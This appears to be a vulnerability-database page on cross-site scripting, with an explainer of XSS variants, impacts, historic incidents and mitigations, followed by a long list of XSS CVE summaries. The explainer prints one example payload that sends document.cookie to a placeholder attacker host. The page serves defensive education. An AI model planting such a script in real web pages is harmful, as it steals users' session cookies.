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Cross-Site Scripting

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Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40999)

EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Email Encoder - Protect Email Addresses WordPress plugin before 2.1.2 has an endpoint that requires no authentication and will render a user supplied value in the HTML response without escaping. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Email Encoder +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Highlight WordPress plugin before 0.9.3 does not sanitise its CustomCSS setting, allowing high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Highlight
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Cookie Notice & Consent Banner for GDPR & CCPA Compliance WordPress plugin before 1.7.2 does not properly sanitize inputs to prevent injection of arbitrary HTML within the plugin's design. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Cookie Notice Consent Banner For Gdpr Ccpa Compliance
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The SMS Alert Order Notifications WordPress plugin before 3.4.7 is affected by a cross site scripting (XSS) vulnerability in the plugin's setting page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Sms Alert Order Notifications +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The AddToAny Share Buttons WordPress plugin before 1.7.46 does not sanitise its Sharing Header setting when outputting it in frontend pages, allowing high privilege users such as admin to perform. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Addtoany +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Stop Spammers Security | Block Spam Users, Comments, Forms WordPress plugin before 2021.18 does not escape some of its settings, allowing high privilege users such as admin to set Cross-Site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Stop Spammers +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Form Builder | Create Responsive Contact Forms WordPress plugin before 1.9.8.4 does not sanitise or escape its Form Title, allowing high privilege users such as admin to set Cross-Site Scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Form Builder +1
NVD WPScan
EPSS 2% CVSS 6.1
MEDIUM POC This Month

The iframe-font-preview.php file of the titan-framework does not properly escape the font-weight and font-family GET parameters before outputting them back in an href attribute, leading to Reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Titan Framework
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

This affects the package file-upload-with-preview before 4.2.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS File Upload With Preview
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

ViewCommon.java in JForum2 2.7.0 allows XSS via a user signature. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Java Jforum
NVD
EPSS 2% CVSS 6.1
MEDIUM This Month

A reflected XSS vulnerability exists in multiple pages in version 22 of the Gibbon application that allows for arbitrary execution of JavaScript (gibbonCourseClassID, gibbonPersonID, subpage,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Gibbon +1
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of `$_SERVER['PHP_SELF']` in its main file. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Apache +2
NVD
EPSS 3% CVSS 6.1
MEDIUM PATCH This Month

Cross Site Scripting vulnerability in markdown interpreter of Apache Zeppelin allows an attacker to inject malicious scripts.9.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apache Zeppelin
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) Software could allow an authenticated, remote attacker with administrative credentials to conduct a. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Identity Services Engine
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Prime Collaboration Provisioning could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Prime Collaboration Provisioning
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

WTCMS 1.0 contains a reflective cross-site scripting (XSS) vulnerability in the page management background which allows attackers to obtain cookies via a crafted payload entered into the search box. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Wtcms Wtcms Project
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

GlobalNewFiles is a MediaWiki extension maintained by Miraheze. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Globalnewfiles Miraheze
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM Planning Analytics 2.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Planning Analytics
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS +3
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Adobe Connect version 11.2.2 (and earlier) is affected by a Reflected Cross-site Scripting vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Adobe Connect
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Adobe Connect version 11.2.2 (and earlier) is affected by a Reflected Cross-site Scripting vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Adobe Connect
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Magento Commerce versions 2.4.2 (and earlier), 2.4.2-p1 (and earlier) and 2.3.7 (and earlier) are affected by a stored cross-site scripting vulnerability that could be abused by an attacker to inject. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Adobe Adobe Commerce +1
NVD
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

Magento Commerce versions 2.4.2 (and earlier), 2.4.2-p1 (and earlier) and 2.3.7 (and earlier) are affected by a stored cross-site scripting vulnerability in the customer address upload feature that. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Adobe Adobe Commerce +1
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Pimcore is an open source data & experience management platform. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Pimcore is an open source data & experience management platform. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Pimcore
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM This Month

User with Orion Platform Admin Rights could store XSS through URL POST parameter in CreateExternalWebsite website. Rated medium severity (CVSS 4.8), this vulnerability is low attack complexity. No vendor patch available.

XSS Orion Platform Solarwinds
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

A stored cross-site scripting (XSS) vulnerability exists in FileBrowser < v2.16.0 that allows an authenticated user authorized to upload a malicious .svg file which acts as a stored XSS payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Filebrowser
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM PATCH This Month

A security researcher stored XSS via a Help Server setting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Orion Platform Solarwinds
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A security researcher found a user with Orion map manage rights could store XSS through via text box hyperlink. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Orion Platform Solarwinds
NVD
EPSS 3% CVSS 9.6
CRITICAL PATCH Act Now

This vulnerability allows attackers to impersonate users and perform arbitrary actions leading to a Remote Code Execution (RCE) from the Alerts Settings page. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS RCE Orion Platform +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

In PEPPERL+FUCHS WirelessHART-Gateway 3.0.8 it is possible to inject arbitrary JavaScript into the application's response. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Wha Gw F2D2 0 As Z2 Eth Firmware Wha Gw F2D2 0 As Z2 Eth Eip Firmware +1
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

An issue was discovered in Form Tools through 3.0.20. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Core +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in Form Tools through 3.0.20. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Core Formtools
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A cross site scripting (XSS) issue in EasyCorp ZenTao 12.5.3 allows remote attackers to execute arbitrary web script via various areas such as data-link-creator. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zentao Easycorp
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Next.js is a React framework. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Vercel Next Js
NVD GitHub
EPSS 3% CVSS 6.1
MEDIUM POC This Month

Zoho ManageEngine ADSelfService Plus version 6103 and prior is vulnerable to reflected XSS on the loadframe page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zoho Manageengine Adselfservice Plus +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Multiple cross-site scripting (XSS) vulnerabilities in DRK Odenwaldkreis Testerfassung March-2021 allow remote attackers to inject arbitrary web script or HTML via all parameters to HTML form fields. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Testerfassung
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

The WordPress Real Media Library WordPress plugin is vulnerable to Stored Cross-Site Scripting via the name parameter in the ~/inc/overrides/lite/rest/Folder.php file which allows author-level. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS +2
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

VMware vRealize Log Insight (8.x prior to 8.4) contains a Cross Site Scripting (XSS) vulnerability due to improper user input validation. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS VMware Cloud Foundation +1
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

OpenKM Community Edition in its 6.3.10 version is vulnerable to authenticated Cross-site scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS RCE Openkm
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Maximo Asset Management 7.6.0 and 7.6.1 is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Maximo Asset Management +1
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Mautic versions before 3.3.4/4.0.0 are vulnerable to an inline JS XSS attack when viewing Mautic assets by utilizing inline JS in the title and adding a broken image URL as a remote asset. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mautic Acquia
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Mautic versions before 3.3.4/4.0.0 are vulnerable to an inline JS XSS attack through the contact's first or last name and triggered when viewing a contact's details page then clicking on the action. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mautic Acquia
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Insufficient sanitization / filtering allows for arbitrary JavaScript Injection in Mautic using the bounce management callback function. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS RCE Mautic +1
NVD GitHub
EPSS 4% CVSS 6.1
MEDIUM POC PATCH This Month

For Mautic versions prior to 3.3.4/4.0.0, there is an XSS vulnerability on Mautic's password reset page where a vulnerable parameter, "bundle," in the URL could allow an attacker to execute. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mautic Acquia
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

A stored cross-site scripting vulnerability has been discovered in : Simply Gallery Blocks with Lightbox (Version - 2.2.0 & below). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Simply Gallery Blocks With Lightbox
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM This Month

The WP Video Lightbox WordPress plugin before 1.9.3 does not escape the attributes of its shortcodes, allowing users with a role as low as contributor to perform Cross-Site Scripting attacks. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wp Video Lightbox +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Business Hours Indicator WordPress plugin before 2.3.5 does not sanitise or escape its 'Now closed message" setting when outputting it in the backend and frontend, leading to an Authenticated. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Business Hours Indicator
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Sitewide Notice WP WordPress plugin before 2.3 does not sanitise some of its settings before outputting them in frontend pages, allowing high privilege users to perform Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Sitewide Notice
NVD WPScan
EPSS 4% CVSS 8.8
HIGH POC This Week

The Blue Admin WordPress plugin through 21.06.01 does not sanitise or escape its "Logo Title" setting before outputting in a page, leading to a Stored Cross-Site Scripting issue. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +1
NVD WPScan Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The FluentSMTP WordPress plugin before 2.0.1 does not sanitize parameters before storing the settings in the database, nor does the plugin escape the values before outputting them when viewing the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Fluentsmtp +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The ShareThis Dashboard for Google Analytics WordPress plugin before 2.5.2 does not sanitise or escape the 'ga_action' parameter in the stats view before outputting it back in an attribute when the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Google +2
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Favicon by RealFaviconGenerator WordPress plugin through 1.3.20 does not sanitise or escape one of its parameter before outputting it back in the response, leading to a Reflected Cross-Site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Favicon By Realfavicongenerator +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM This Month

The AssociateFieldToScreens page in Atlassian Jira Server and Data Center before version 8.18.0 allows remote attackers to inject arbitrary HTML or JavaScript via a Cross-Site Scripting (XSS). Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jira Atlassian +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Editor plugin in Atlassian Jira Server and Data Center before version 8.5.18, from 8.6.0 before 8.13.10, and from version 8.14.0 before 8.18.2 allows remote attackers to inject arbitrary HTML or. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Jira Atlassian +3
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Zoho ManageEngine Log360 before Build 5224 allows stored XSS via the LOGO_PATH key value in the logon settings. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zoho Manageengine Log360 +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Zoho ManageEngine Log360 before Build 5225 allows stored XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zoho Manageengine Log360 +1
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Maximo Asset Management 7.6.0 and 7.6.1 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Maximo Asset Management +1
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Misskey is a decentralized microblogging platform. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Misskey
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Discourse is an open source platform for community discussion. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Discourse
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

A remote cross-site scripting (XSS) vulnerability was discovered in Aruba AirWave Management Platform version(s): Prior to 8.2.13.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Aruba Airwave +1
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Stored cross-site scripting (XSS) vulnerability in Care2x Hospital Information Management 2.7 Alpha. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Care2X +1
NVD Exploit-DB
EPSS 0% CVSS 8.8
HIGH POC PATCH This Week

yourls is vulnerable to Improper Restriction of Rendered UI Layers or Frames. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Yourls
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

DigitalDruid HotelDruid 3.0.2 has an XSS vulnerability in prenota.php affecting the fineperiodo1 parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Hoteldruid +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Edit Boilerplate screen of Movable Type (Movable Type 7 r.4903 and earlier (Movable Type 7 Series), Movable Type 6.8.0 and earlier (Movable Type 6 Series),. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Movable Type Sixapart
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Setting screen of ContentType Information Widget Plugin of Movable Type (Movable Type 7 r.4903 and earlier (Movable Type 7 Series), Movable Type Advanced 7. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Movable Type Sixapart
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Edit screen of Content Data of Movable Type (Movable Type 7 r.4903 and earlier (Movable Type 7 Series) and Movable Type Advanced 7 r.4903 and earlier (Movable. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Movable Type Sixapart
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Setting screen of Server Sync of Movable Type (Movable Type Advanced 7 r.4903 and earlier (Movable Type Advanced 7 Series) and Movable Type Premium Advanced 1.44. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Movable Type Sixapart
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in List of Assets screen of Movable Type (Movable Type 7 r.4903 and earlier (Movable Type 7 Series), Movable Type 6.8.0 and earlier (Movable Type 6 Series), Movable. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Movable Type Sixapart
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Website Management screen of Movable Type (Movable Type 7 r.4903 and earlier (Movable Type 7 Series), Movable Type 6.8.0 and earlier (Movable Type 6 Series),. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Movable Type Sixapart
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Create screens of Entry, Page, and Content Type of Movable Type (Movable Type 7 r.4903 and earlier (Movable Type 7 Series), Movable Type 6.8.0 and earlier. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Movable Type Sixapart
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Search screen of Movable Type (Movable Type 7 r.4903 and earlier (Movable Type 7 Series), Movable Type 6.8.0 and earlier (Movable Type 6 Series), Movable Type. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Movable Type Sixapart
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

A vulnerability in the web UI of Cisco Application Policy Infrastructure Controller (APIC) or Cisco Cloud APIC could allow an authenticated, remote attacker to perform a stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Cisco Application Policy Infrastructure Controller +1
NVD
EPSS 64% CVSS 5.4
MEDIUM This Month

Insufficient input sanitization in Mermaid markdown in GitLab CE/EE version 11.4 and up allows an attacker to exploit a stored cross-site scripting vulnerability via a specially-crafted markdown. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

baserCMS is an open source content management system with a focus on Japanese language support. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS File Upload Basercms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A logic issue was addressed with improved state management. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apple macOS +8
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Adobe Experience Manager Cloud Service offering, as well as versions 6.5.8.0 (and below) is affected by a Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Adobe Experience Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Adobe Experience Manager Cloud Service offering, as well as versions 6.5.8.0 (and below) is affected by a Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Adobe Experience Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Multiple Cross Site Scripting (XSS) vulnerabilities exists in CXUUCMS 3.1 in the search and c parameters in (1) public/search.php and in the (2) c parameter in admin.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Cxuucms +1
NVD GitHub
EPSS 2% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability exiss in FlatCore-CMS 2.0.7 via the upload image function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Flatcore Cms Flatcore
NVD GitHub
EPSS 1% CVSS 4.7
MEDIUM This Month

